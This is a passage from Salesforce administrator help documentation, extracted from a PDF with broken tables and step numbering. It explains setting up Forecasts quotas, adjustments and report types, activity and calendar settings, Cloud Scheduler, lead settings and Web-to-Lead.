Map these columns to the QuotaOwnerId, QuotaAmount, CurrencyIsoCode, and StartDate fields in the ForecastingQuota object and use the Data Loader to upload your quota information to Salesforce.com. See Data Loader Overview on page 845 for more details about Data Loader. As a best practice, load quota data in the quota owners personal currency. Note that you can still upload quota data using the API even if Show Quotas is disabled. If your Data Loader time zone setting is ahead of quota owners time zones, the month can be off by one. To avoid this problem, use a date at least greater than or equal to the third day of each month when inserting quotas. Note: If you disable Forecasts, quotas are also disabled.

See Also:
Forecasts Quotas Overview Setting Up Forecasts

Enabling Forecasts Adjustments


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. Before enabling adjustments, make sure you've set up your forecast hierarchy. 1. 2. 3. 4. Click Your Name > Setup > Customize > Forecasts > Settings. Under Adjustments, select Enable Adjustments. Click Save. Click Your Name > Setup > Manage Users > Profiles.

1361

Customize

Disabling Forecasts Adjustments

5. Find a profile for which you want adjustments enabled. 6. If youre using the enhanced profile user interface, click App Permissions and click Edit. 7. Select Override Forecasts and click Save.

See Also:
Forecasts Adjustments Overview Disabling Forecasts Adjustments Setting Up Forecasts Defining Your Organization's Forecast Date Range

Disabling Forecasts Adjustments


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. Warning: Disabling forecasts adjustments purges existing adjustments. Before disabling adjustments, see Understanding Adjustments Purges. 1. Click Your Name > Setup > Customize > Forecasts > Settings. 2. Under Adjustments, deselect Enable Adjustments. 3. Click Save. You don't need to update user permissions because adjustments are now disabled for your entire organization. Say you have forecast managers who adjusted forecast amounts for some direct reports. After you disable adjustments for your organization, the next time the managers view their respective forecast rollups, no adjustments will appear.

See Also:
Forecasts Adjustments Overview Enabling Forecasts Adjustments

1362

Customize

Selecting a Forecast Currency

Selecting a Forecast Currency


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. Before selecting a forecast currency, review information in Working With Multiple Currencies in Forecasts. 1. Click Your Name > Setup > Customize > Forecasts > Settings. 2. Under Forecast Currency, choose a forecast currency option. 3. Click Save.

See Also:
Forecasts Adjustments Overview

Defining Your Organization's Forecast Date Range


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. The Forecasts rollup table shows forecast amounts for individual months and a range of months. Six months is the default, but you can show up to 12 months in the past or the future. If your forecast range includes the current month, that month is selected by default when you view the rollup table on a forecasts page. When you select the forecast date range for your

1363

Customize

Selecting Fields that Appear in the Forecasts Opportunity Pane

organization, it becomes the default for all Forecasts users. Users can use this default or they can set a different date range display for their own forecasts. Once users change their forecast date range displays, you cant override them. 1. Click Your Name > Setup > Customize > Forecasts > Settings. 2. Under Forecast Range, use the drop-down lists to select a beginning month and the number of months you want to display. 3. Click Save.

See Also:
Setting Up Forecasts Changing Your Forecast Date Range Display

Selecting Fields that Appear in the Forecasts Opportunity Pane


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize the opportunity pane: To view setup and configuration: Customize Application View Setup and Configuration

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. Opportunities appear below the rollup table in a forecast in a list that responds to user selections. Administrators select up to 15 standard and custom fields that appear in the opportunity pane. Users see the fields selected based on their field level security settings. Opportunity Name is a required field. Additionally, salesforce.com recommends adding Forecast Category to the pane. Tip: If you havent already, add the Forecast Category field to your opportunity detail page layout.

1. Click Your Name > Setup > Customize > Forecasts > Settings. 2. Under Opportunity List Column, select fields and click Add and Remove to move them between the Available Fields list and the Selected Fields list. To determine field order in the layout, select fields and click Up, Down, Top, or Bottom. 3. Click Save.

See Also:
Setting Up Forecasts Customizing Page Layouts with the Original Page Layout Editor Customizing Page Layouts with the Enhanced Page Layout Editor

1364

Customize

Customizing Forecasts Categories

Customizing Forecasts Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. A forecast category is the category within the sales cycle that an opportunity is assigned to based on its opportunity stage. The standard forecast categories are Pipeline, Best Case, Commit, Omitted, and Closed. You can customize forecast category names for your organization. The forecast categories display information for that specific category; for example, Best Case only reflects amounts in the Best Case category. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Opportunities > Fields. Click Forecast Category. Click Edit for any value you want to edit in the Forecasts Category Picklist Values. Enter a forecast category name. Click Save.

New forecast category names appear on opportunity records and forecasts.

See Also:
Setting Up Forecasts

Creating a Forecasting Custom Report Type


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To delete custom report types: Manage Custom Report Types Modify All Data

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. You must enable Forecasts to create a forecasting custom report type.

1365

Customize

Understanding Forecasting Custom Report Types

Before you create a forecasting custom report type, review the information in Understanding Forecasting Custom Report Types. To make a forecasting report available to users, administrators must create a custom report type. A report type defines the set of records and fields available to a report based on the relationships between a primary object and its related objects. Reports display only records that meet the criteria defined in the report type. 1. Start creating a custom report type by clicking Your Name > Setup > Create > Report Types and New Custom Report Type. 2. For Primary Object, select a Forecasting object, such as Forecasting Items or Forecasting Quotas. 3. For Store in Category, select Forecasts. After deploying the report types, let your users know their locations and names.

See Also:
Creating Custom Report Types Creating a New Report Editing the Report Field Layout for a Custom Report Type Setting Up Forecasts

Understanding Forecasting Custom Report Types


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. You must enable Forecasts to create a forecasting custom report type. A report type defines the set of records and fields available to a report based on the relationships between a primary object and its related objects. Reports display only records that meet the criteria defined in the report type. Use the table to understand the forecasting custom report types that you can create. Primary Object
Forecasting Items

Use to create a report for... Viewing information about forecasting line items, including adjustment amount information. As a best practice, use all default fields in the report type, including the following: Owner Only AmountThe sum of all of a persons opportunities, without adjustments. For example, if you own two opportunities, each worth $10,000, the Owner Only Amount is $20,000. Amount Without AdjustmentsThe sum of all of a persons owned opportunities and also his or hers subordinates opportunities, without adjustments. Subordinates include everyone reporting up to a person in the forecast hierarchy. For example, if the sum of the amount of all opportunities owned by you is $20,000 and the sum of the amount of your subordinates opportunities is $55,000, the Amount Without Adjustments is $75,000. Amount Without Manager AdjustmentsThe forecast number as seen by the forecast owner. This is the sum of the owners opportunities and his or her subordinates opportunities,

1366

Customize

Understanding Forecasting Custom Report Types

Primary Object

Use to create a report for... including adjustments made on the subordinates forecasts. It doesnt include adjustments made by forecast managers above the owner in the forecast hierarchy. For example, say Anne has an Amount Without Adjustments of $75,000, made up of $20,000 of her own opportunities and $55,000 of opportunities owned by her subordinate Ben. Additionally, she adjusted Bens amount to $65,000 for a total of $85,000. If you adjust Annes number from $85,000 to $100,000, then you see $85,000 in Amount Without Manager Adjustments because this is what Anne sees (and Anne cant see your adjustments as youre her manager). To see the amount that includes your adjustment to $100,000, look at Forecast Amount. Forecast AmountThe forecast from the forecast managers perspective and the sum of the owners and subordinates opportunities, including all forecast adjustments. For example, say youre a forecast manager and have another forecast manager reporting to you who has an Amount Without Manager Adjustment totaling $85,000. If you adjust the forecast to $100,000, the Forecast Amount is $100,000. Has AdjustmentA checkbox that indicates if an adjustments been made on a forecast owners Amount Without Adjustments. For example, if you make an adjustment to one of your subordinates forecast amounts, this box is checked. If your subordinate makes an adjustment to one of his or her subordinates amounts, this box is also checked. However, unless you have the View All Data permission, if your forecast manager makes an adjustment to your forecast amount, this box remains unchecked; you dont have access to your forecast managers adjustment information.

Forecasting Items with Viewing opportunity information for specific forecasting line items. For example, you might Opportunities as a want to create a summary report for each of your subordinates that includes the opportunity

related object
Forecasting Quotas

names and last activity dates for their forecasting items, alongside adjustment information and final forecast amounts. Viewing data about individual or team quotas. As a best practice, include all the default fields in the report type. For example, you can include lookup fields, such the full name of the owner. When running the report, you can filter by your own name to see quotas you created and their related accounts and owners.

See Also:
Creating a Forecasting Custom Report Type Creating Custom Report Types Creating a New Report Editing the Report Field Layout for a Custom Report Type Setting Up Forecasts

1367

Customize

Planning Your Migration from Customizable Forecasting to Forecasts

Planning Your Migration from Customizable Forecasting to Forecasts


User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application To manage quotas: Customize Application

Note: This information applies to organizations who want to migrate from Customizable Forecasts to the Forecasts product first released in Winter '12. Beginning with the Winter 12 release, the Forecasts product includes much of the same functionality as Customizable Forecasts. When migrating to Forecasts from Customizable Forecasts keep the following in mind: To enable Forecasts, Customizable Forecasts must be disabled first. Contact salesforce.com for assistance with disabling Customizable Forecasts. Organizations using territory management, PRM, or custom fiscal years cant migrate to Forecasts at this time. The forecast history, overrides, reports, and sharing data from Customizable Forecasts are purged. Prior to migrating to Forecasts, consider exporting forecasting report data. The forecast hierarchy is retained. However, to reduce the chance of potential data loss, consider migrating to Forecasts immediately after disabling Customizable Forecasts. Since the hierarchy is retained, do not enable Forecasts users again after migrating. Instead, after migration validate all hierarchies for accuracy.

Before migrating, make sure to review What's the difference between the Forecasting features? to determine if you can benefit from the latest improvements offered in Forecasts.

See Also:
Setting Up Forecasts

1368

Activities

Enabling Shared Activities

ACTIVITIES
Enabling Shared Activities
Available in: All Editions except Database.com.

User Permissions Needed To view activity settings: To customize activity settings: View Setup and Configuration Customize Application

The process for enabling Shared Activities can take up to 48 hours, depending on the volume of activities for your organization. While you enable this feature, your users can continue working with tasks and events. 1. 2. 3. 4. Go to Your Name > Setup > Customize > Activities > Activity Settings. Select Allow Users to Relate Multiple Contacts to Tasks and Events. Click Submit. Add the Name related list to the task detail and event detail page layouts so users can see all contacts on an activity. This is particularly important for Salesforce Mobile users.

After the process for enabling Shared Activities finishes, youll receive a confirmation email. Tip: To check the status of the process for enabling Shared Activities, view the Activity Settings page. Salesforce provides helpful messages about both the status and what you need to do if the enabling process doesnt finish successfully.

Displaying Related Contacts on Activity Detail Pages


Available in: All Editions except Database.com

User Permissions Needed To create, edit, and delete page layouts: Customize Application

When you enable Shared Activities, the contact detail page displays task and event information in the Open Activities and Activity History related lists for each related contact. For your users to make the most of Shared Activities, we recommend that you add the Name related list to the task and event detail page layouts. This lets your users view all names related to a specific activity on the task or event detail page. For example, if your user creates a task named Quarterly Call with five contacts, the task detail page will include each contacts name and other details on separate lines in the Name related list.

1369

Customize

About Archived Activities

Important: Because the contents of the Name related list arent fields, they dont adhere to field-level security settings. 1. Open the relevant page layout. 2. 3. 4. 5. To add the related list to the task detail page layout, select Your Name > Setup > Customize > Activities > Task Page Layouts. To add the related list to the event detail page layout, select Your Name > Setup > Customize > Activities > Event Page Layouts.

Next to the page layout name, click Edit. In the palette on the upper portion of the screen, click Related Lists. The palette displays the available related lists. From the palette, drag Name to the lower portion of the screen. In the palette, click Save.

See Also:
Shared Activities Overview

About Archived Activities


Available in: All Editions except Database.com

Salesforce archives activities according to these conditions. Events with a due date more than 365 days old Closed tasks with a due date greater than 365 days old Closed tasks without a due date and created more than 365 days ago

Additional considerations for activity archiving: Archiving occurs weekly at approximately 5:00 AM Greenwich Mean Time (GMT) on Saturday. Archived activities can be viewed only in export files, printable view, or by clicking View All on the Activity History related list. You can also view an archived activity if you know the URL for the activity. Administrators can delete archived activities using Mass Delete. Archived tasks are not included in reports. However, you can report on open or completed tasks. Archived activities arent copied when you create or refresh a sandbox.

See Also:
Searching for Activities Using the Activity History Related List Activity Overview Shared Activities Overview

1370

Customize

Guidelines for Adding a Custom Logo to Meeting Requests

Guidelines for Adding a Custom Logo to Meeting Requests


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To customize activity settings: Customize Application

When you show a custom logo in meeting requests, your logo appears in the following locations: Email requests sent to invitees when you request a meeting or schedule an event Meeting response pages where invitees select the times they can meet when you request a meeting Event response pages where invitees accept or decline the event

When using a custom logo: The image must be in GIF, JPEG, or PNG format and be less than 20 KB. For best results, use an image that is no more than 130 pixels wide by 100 pixels high at 72 pixels per inch. Images that are larger than these dimensions may not display correctly in some email clients due to automatic resizing. You must first upload your logo to the Documents tab and make it externally available. Documents marked Internal Use Only can't be used as a logo. Note: If your custom logo is in the Shared Documents folder on the Documents tab, other users can replace it and indirectly change the logo that appears in meeting invitations. We recommend uploading the logo to your personal folder on the Documents tab so only you can replace it. You can't delete a custom logo from the Documents tab when it's being used in meeting requests. You must first either select another document to use as your logo or uncheck the option to display a custom logo in meeting requests.

See Also:
About Cloud Scheduler

1371

Activities

Customizing Activity Settings

ACTIVITIES
Customizing Activity Settings
The availability of these settings varies by Edition. However, most are available in All Editions.

User Permissions Needed To view activity settings: To customize activity settings: View Setup and Configuration Customize Application

On the Activity Settings page at Your Name > Setup > Customize > Activities > Activity Settings, you can manage the following activity-related features: Enable Group Tasks Enable Sidebar Calendar Shortcut Enable Creation of Recurring Events Enable Creation of Recurring Tasks Enable Activity Reminders Enable Email Tracking Show Event Details on Multi-User Calendar View Enable Multiday Events Show Custom Logo in Meeting Requests Show Requested Meetings in the Calendar Section on the Home Tab Allow Users to Relate Multiple Contacts to Tasks and Events

Enable Group Tasks Enabled by default for all Editions except Database.com. Select this checkbox to let users assign independent copies of a new task to multiple users. Enable Sidebar Calendar Shortcut Available in all Editions except Database.com. Select this checkbox to display a shortcut link to a users last used calendar view in the sidebar: . In the sidebar, the calendar shortcut appears above the Recent Items component.

Enable Creation of Recurring Events Available in all Editions except Database.com. Select this checkbox to let users create events that repeat at specified intervals.

1372

Customize

Customizing Activity Settings

Enable Creation of Recurring Tasks Available in all Editions except Database.com. Select this checkbox to let users create tasks that repeat at specified intervals. If you disable this setting, users can still edit the interval of an existing recurring task, but cannot create new recurring tasks. Enable Activity Reminders Available in all Editions except Database.com. Select this checkbox to enable activity reminders for your organization. Salesforce can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged in to Salesforce. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur since the last time the user logged out are shown in the reminder window. If you disable this feature, users wont receive reminders for tasks and events that have reminders set. In addition, users will no longer be able to add new reminders, as well as configure default reminders. Existing settings and reminders for tasks and events arent retained if you later enable reminders again. If you do this, users receive reminders for only the tasks and events that have been created or updated since you enabled the setting again. Enable Email Tracking Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. By default, Salesforce tracks outbound HTML emails if your organization uses HTML email templates. You can disable this feature to control email tracking. If you disable email tracking, Salesforce no longer stores email tracking information for your organization. However, the HTML Email Status related list remains on page layouts and email tracking reports remain on the Reports tab. Show Event Details on Multi-User Calendar View Available in Professional, Enterprise, Unlimited, and Developer Editions. If your organization-wide calendar sharing includes Show Details, or youre the manager of another user in the role hierarchy, calendar views typically display the details of users events when you hover your mouse over the busy areas of the calendar. When you select the Show Event Details on Multi-User Calendar View checkbox, event details display on-screen rather than in mouse-over text. This setting applies to daily, weekly, and monthly calendar views for all users. Note: Enabling this setting does not override calendar sharing. If a users calendar details are not visible to other users because of calendar sharing restrictions or the users position in the role hierarchy, this setting respects that lack of visibility. Enable Multiday Events Available and enabled by default in all Editions except Database.com. When this checkbox is selected, Salesforce supports events that end more than one day (24 hours) after they start. For information on creating multiday events using the API, see the Force.com Web Services API Developer's Guide. You can create multiday events using the API versions 13.0 and later. Show Custom Logo in Meeting Requests Available in all Editions except Database.com. Select this checkbox to upload a custom logo that displays in meeting request emails and on the meetings Web page that invitees see when you either invite them to an event or request a meeting with them. You can select only logos that have been uploaded to the Documents tab and made externally available. For information about size limitations and supported file formats, see our logo guidelines.

1373

Customize

Managing Public and Resource Calendars

Show Requested Meetings in the Calendar Section on the Home Tab Available in all Editions except Database.com. Select this checkbox to display the Requested Meetings subtab in the Calendar on the Home tab. This subtab lists the meetings a user has requested but not confirmed. Disabling this feature also removes the New Meeting Request button from the Calendar on the Home tab. Allow Users to Relate Multiple Contacts to Tasks and Events Available in all Editions except Database.com. Select this checkbox to enable Shared Activities. If your organization has enabled Shared Activities, you can relate as many as 10 contacts to non-recurring and non-group tasks, and non-recurring events. You assign one primary contact; all others are secondary contacts.

See Also:
Customizing User Interface Settings

Managing Public and Resource Calendars


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage public calendars: To manage resource calendars: Customize Application Customize Application

In contrast to users' individual calendars, public and resource calendars are for managing group activities or shared resources. You can create an unlimited number of calendars. Using public calendars, a group of people can track events of interest to all of them (such as marketing events, product releases, or training classes) or schedule a common activity (such as a team vacation calendar). For example, your marketing team can set up an events calendar to show upcoming marketing events to the entire sales and marketing organization. With resource calendars, multiple people can coordinate their usage of a shared resource such as a conference room or overhead projector. To display a list of the currently-defined public and resource calendars, click Your Name > Setup > Customize > Activities > Public Calendars & Resources. From the list page, you can perform the following tasks: To view the properties of a calendar, click its name in the list. To edit calendar properties, click Edit. To create a new public calendar or resource: 1. 2. 3. 4. Click New. Give the calendar or resource a name, and check Active. Click Save. To make the new calendar or resource available to others, click Sharing. Add the public groups, roles, or users with whom you want to share the calendar.

1374

Customize

Deleting a Public Calendar

5. In Calendar Access, specify how to share the calendar by selecting one of the following: Sharing Model Hide Details Results Others can see whether given times are available, but cannot see any other information about the nature of events in the calendar. Others can see whether given times are available, but cannot see details of events. Other users can insert events in the calendar. Others can see detailed information about events in the calendar. Others can see detailed information about events in the calendar and can insert events in the calendar. Others can see detailed information about events in the calendar, insert events in the calendar, and edit existing events in the calendar.

Hide Details and Add Events

Show Details Show Details and Add Events Full Access

Note: Users need the appropriate Read permission to see the related record of any activity. For example, an event invitee who does not have Read permission on cases will not be able to view the case associated with the event.

See Also:
Deleting a Public Calendar Creating Activities Administrator tip sheet: Setting Up Multi-Person Calendaring

Deleting a Public Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete a public calendar: Customize Application

1. Click Your Name > Setup > Customize > Activities > Public Calendars & Resources.

1375

Customize

Setting Up Cloud Scheduler

2. Click Del next to the name of the calendar you want to delete.

See Also:
Managing Public and Resource Calendars

Setting Up Cloud Scheduler


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To customize page layouts and activity settings: Customize Application

The New Meeting Request button is enabled by default on page layouts, which lets your users use Cloud Scheduler to request meetings with customers. If enabled, the button displays on the Open Activities related list on the detail pages of contacts, leads, and person accounts. Use the following methods alone or in combination to control whether the New Meeting Request button displays on detail page layouts. Note that the button is also available in the Calendar section on the Home tab when the Requested Meetings subtab is enabled, and isn't affected by these add or remove actions. Cloud Scheduler Quick Setup To add or remove the New Meeting Request button on multiple page layouts: 1. Click Your Name > Setup > Customize > Activities > Cloud Scheduler. 2. If you're adding the button and the new user interface theme isn't already enabled, you must enable it from Your Name > Setup > Customize > User Interface. 3. Click Add Button to add the New Meeting Request button to the Open Activities related list on all eligible page layouts. Eligible layouts have fewer than four buttons in the Open Activities related list (to prevent unintended crowding). Click Remove Button to remove the button from all current page layouts. Note: If you want finer control over whether the button displays on individual page layouts, consider using the manual setup method instead of or in combination with the quick method.

Cloud Scheduler Manual Setup To add or remove the New Meeting Request button on individual page layouts: 1. If you're adding the button and the new user interface theme isn't already enabled, you must enable it from Your Name > Setup > Customize > User Interface. See Customizing User Interface Settings. Users can't request meetings with customers if the new user interface theme is disabled. 2. Add or remove the New Meeting Request button to the Open Activities related list on the page layouts you want. Contacts Leads

1376

Customize

Setting Up Cloud Scheduler

Person Accounts (if enabled) For users to request a meeting with a person account, you also need to add the Email field to the page layout, which is located at Your Name > Setup > Customize > Accounts > Person Accounts > Page Layouts.

See Customizing Related Lists for detailed instructions. Note: If you have multiple page layouts and want to affect all or most of them, consider using the quick setup method instead of or in combination with the manual method.

Cloud Scheduler Optional Settings You can optionally enable these settings to make Cloud Scheduler even more useful to your users. Ask your users to install Salesforce for Outlook, Connect for Outlook, or Connect for Lotus Notes. We recommend users sync their calendar events between Salesforce and Outlook or Lotus Notes so they can propose meeting times based on their availability displayed in their Salesforce calendar. Add your company logo to the meeting requests sent to invitees. See Customizing Activity Settings. Show requested meetings in the Calendar section on the Home tab. See Customizing Activity Settings. The Requested Meetings subtab displays by default. If you remove the New Meeting Request button from all page layouts, we recommend you also remove the Requested Meetings subtab because your users won't be able to request meetings. Enable your Partner users to request meetings using Cloud Scheduler.

User Permission Requirements Users must have the Send Email and Edit Events permissions to request meetings. These permissions are automatically selected in most standard profiles. If users don't have the required permissions, they: Won't see the New Meeting Request button on the Open Activities related list. Can't edit, reschedule, or cancel requested meetings.

Field-Level Security Requirements In most cases, you don't need to change field-level security settings to allow users to request meetings. However, if your organization has changed the default field-level security settings for certain profiles, refer to the following table to make sure those changes don't prevent users from requesting meetings. Note: In permission sets and the enhanced profile user interface, the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.

1377

Leads

Setting Up Lead Management

Object

Field

Required Field-Level Security Settings Permission Sets and Original Profile Enhanced Profile User Interface and User Interface Customize Field Pages

Description

Event

Name

Read and Edit

Visible (with Read-Only not

selected)

If this field isn't readable, the New Meeting Request button doesn't display on the Open Activities related list, and an insufficient privileges message displays when trying to change (confirm or reschedule) or view a requested meeting. If this field is readable but not editable, the New Meeting Request button doesn't display on the Open Activities related list, and requested meetings open as read-only (preventing users from confirming or rescheduling the meeting).

Description

Read

Visible

By default, when a requested meeting is confirmed, the last message sent from the meeting organizer displays in the Description field for the new event. However, if field-level security for the Description field isn't readable, then the last message doesn't display in the Description field even if field-level security is later set to readable.

See Also:
About Cloud Scheduler

LEADS
Setting Up Lead Management
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Success in sales starts by building a strong pipeline of leads. A lead is a prospect who is interested in your company.

1378

Customize

Customizing Lead Settings

Using leads can give your sales staff instant access to the latest prospects and ensures that no leads are ever dropped. Successful lead management helps sales and marketing manage the inbound lead process, track lead sources, and analyze return on their marketing investment. To get started using lead management, click Your Name > Setup > Customize > Leads: Click Fields to create custom lead fields that track information specific to your company; see About Custom Fields on page 1092. Also, map your custom lead fields to account, contact, and opportunity fields so that the data gets converted when users convert leads; see Mapping Custom Lead Fields on page 1381. Edit the Lead Status picklist to choose the default status for new and converted leads; see Updating Picklists on page 1078. Click Settings to specify your default lead settings. See Customizing Lead Settings on page 1379. Click Assignment Rules to set up lead assignment rules that automatically assign leads; see Managing Assignment Rules on page 1340. Click Web-to-Lead to automatically capture leads from your website. See Setting Up Web-to-Lead on page 1383.

To create sales queues for leads or custom objects, click Your Name > Setup > Manage Users > Queues. See Managing Queues on page 603.

Customizing Lead Settings


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change lead settings: Customize Application

To optimize the lead management features, you must edit the lead settings to specify certain defaults. 1. Click Your Name > Setup > Customize > Leads > Settings. 2. Click Edit to customize the following defaults: Field
Default Lead Owner

Description The user or queue to which leads will be assigned if the active assignment rule fails to locate an owner. This applies to leads captured online and leads that a user manually creates or edits with the auto-assign checkbox enabled. Checkbox to indicate whether Salesforce sends a notification to the default lead owner when assigning a lead to him or her. Default Lead Owner selected must be a user. If a user creating a new lead applies assignment rules, this setting indicates which record type to assign to the new record. If you want new leads to keep the creators record type, check Keep the existing record type. If you want to overwrite the creators record type when applying assignment rules, check Override the existing

Notify Default Lead Owner

Record Type Setting

1379

Customize

Customizing Lead Settings

Field

Description
record type with the assignees default record type.

Enable Validation and Triggers from Lead Convert

When selected, enables the following operations when you convert leads: Enforcement of universally required custom fields. Enforcement of validation rules. Note that if validation rules exist for activities and you create an activity during lead conversion, the lead converts but a task is not created. Workflow actions on leads such as field updates, automatic task assignments, and transfers. Note that existing time-based workflow actions on leads do not get triggered as part of lead conversion. Execution of Apex before triggers that fire before the insertion of accounts, contacts, or opportunities. In addition, execution of Apex before triggers that fire before the update of accounts or contacts. Cross-object field updates on accounts and opportunities created from the lead conversion. Note: When Enable Validation and Triggers from Lead Convert is selected, if the lead conversion creates an opportunity and the opportunity has Apex before triggers associated with it, the triggers run immediately after the opportunity is created, before the opportunity contact role is created.

Do Not Change Lead Status Values to New Owner's Record Type on Lead Conversion

If your organization uses record types, you can create a lead process that allows you to provide different Lead Status values for different record types. If Do Not Change Lead
Status Values to New Owner's Record Type on Lead Conversion is selected, the Lead Status does

not change to the new owner's default value during lead conversion. If this setting it is not selected, the Lead Status may change during lead conversion if the new owner's record type has a different default value for Lead Status.

1380

Customize

Mapping Custom Lead Fields

Mapping Custom Lead Fields


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To map lead fields: Customize Application

When you convert a qualified lead, the information from the standard lead fields is inserted into standard account, contact, and opportunity fields (see Lead Conversion Mapping on page 3040). If your organization has custom lead fields, you can specify how you want that custom information converted into custom account, contact, or opportunity fields. To specify the mapping for custom lead fields: 1. Select Your Name > Setup > Customize > Leads > Fields > Map Lead Fields. 2. For each custom lead field, choose a custom account, contact, or opportunity field into which you want the information inserted when you convert a lead. 3. Click Save. Remember to map custom lead fields to other custom fields of the same data type, that is, map numeric lead fields to other numeric fields or long text area fields to other long text area fields. Some exceptions are: You can map between text and picklist fields. However, your data may become truncated if the mapped text field is not large enough to hold the entire lead picklist value. You can map fields of type Text or Text Area to long text area fields You can map auto-number fields to fields of type Text, Text Area, or Picklist. Do not map custom formula fields to other formula fields or any other type of field. Roll-up summary fields are not available for mapping lead fields of converted leads. Remember to map custom lead fields of type number, currency, or percent to other number, currency, or percent fields of exactly the same length and decimal places. For example, if your lead currency field has a length of 3 and 2 decimal places, map it to another custom currency field with a length of 3 and 2 decimal places. Any standard lead picklist fields that are blank are mapped to the default picklist values for the account, contact, and opportunity. Note: If you change the data type of any custom field used for lead conversion, that lead field mapping will be deleted.

See Also:
Converting Leads

1381

Customize

Capturing Web Leads

Capturing Web Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Web-to-Lead: Customize Application

With Web-to-Lead, you can gather information from your companys website and automatically generate up to 500 new leads a day. Your company may already have a registration or other type of page where users enter their contact information. You may also want to create a jump page where prospects respond to a campaign. With a little extra HTML code, you can redirect that information to Salesforce to create new leads. See Preparing to Set Up Web-to-Lead for the steps to prepare for setting up Web-to-Lead. See Setting Up Web-to-Lead for the steps to set up Web-to-Lead.

See Also:
Managing Assignment Rules Managing Queues Customizing Lead Settings Assigning Leads Displaying and Editing Leads Creating Leads Converting Leads Setting Up Auto-Response Rules

Preparing to Set Up Web-to-Lead


Available in: Group, Professional, Enterprise, Unlimited, and DeveloperEditions

User Permissions Needed To set up Web-to-Lead: Customize Application

Before setting up Web-to-Lead, you need to: Create custom lead fields, if needed, and specify how theyll map to custom account, contact, and opportunity fields during lead conversion. See About Custom Fields on page 1092 and Mapping Custom Lead Fields on page 1381. Edit the Lead Status picklist to set the default status for new and converted leads. See Updating Picklists on page 1078.

1382

Customize

Setting Up Web-to-Lead

Create public email templates for the automated notification email that will be sent to prospects upon submission of each web lead. If you plan to set up email response rules to use different email templates depending on the information submitted, create one default template to send when none of your response rules apply. (see Managing Email Templates on page 474 and Setting Up Auto-Response Rules on page 1348). Note: Auto-response rules are not available in Group Edition.

Create lead queues if you wish to assign incoming leads to queues (see Managing Queues on page 603). Customize the Lead Settings to select the default owner of leads that fail to meet the criteria in your assignment rule (see Customizing Lead Settings on page 1379). Create an active lead assignment rule to determine how web-generated leads are assigned to multiple users or queues (see Managing Assignment Rules on page 1340). If you do not set an active assignment rule, all web-generated leads are assigned to the default owner you specify in the Lead Settings.

See Also:
Setting Up Web-to-Lead Capturing Web Leads

Setting Up Web-to-Lead
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up Web-to-Lead: Customize Application

To set up Web-to-Lead: 1. Click Your Name > Setup > Customize > Leads > Web-to-Lead. 2. Click Edit to enable or modify the following Web-to-Lead settings: Web-to-Lead Setting
Web-to-Lead Enabled Default Lead Creator

Description Enables Web-to-Lead. The user who will be listed as the creator of online leads and who will appear as the sender of email responses. This user must have the System Administrator profile or the Modify All Data and Send Email permissions.

1383

Customize

Setting Up Web-to-Lead

Web-to-Lead Setting
Default Response Template

Description The default response template to use for the email response that is automatically sent to prospects when they submit an online lead. If you set up response rules to use different email templates based on the information submitted, the default response template is used when no auto-response rules apply. Leave this option blank if you do not wish to send emails when no response rules apply. This template must be marked as Available for Use. Note: Auto-response rules are not available in Group Edition.

3. Click Save. 4. To create a Web-to-Lead form, click Create Web-to-Lead Form on the Web-to-Lead Setup page. 5. Select fields to include on your Web-to-Lead form. Use the Add and Remove arrows to move fields between the Available Fields list and the Selected Fields list, and use the Up and Down arrows to change the order of the fields on your form. Select the Campaign field (and optionally, the Campaign Member Status field) if you are using Web-to-Lead as part of a campaign. For organizations using multiple currencies, add the Lead Currency field if you add currency amount fields, otherwise all amounts will be captured in your corporate currency. Use a custom multi-select picklist to allow potential customers to express interest in several products. For organizations using lead record types, select the Lead Record Type field if you want users to select a record type for Web-generated leads.

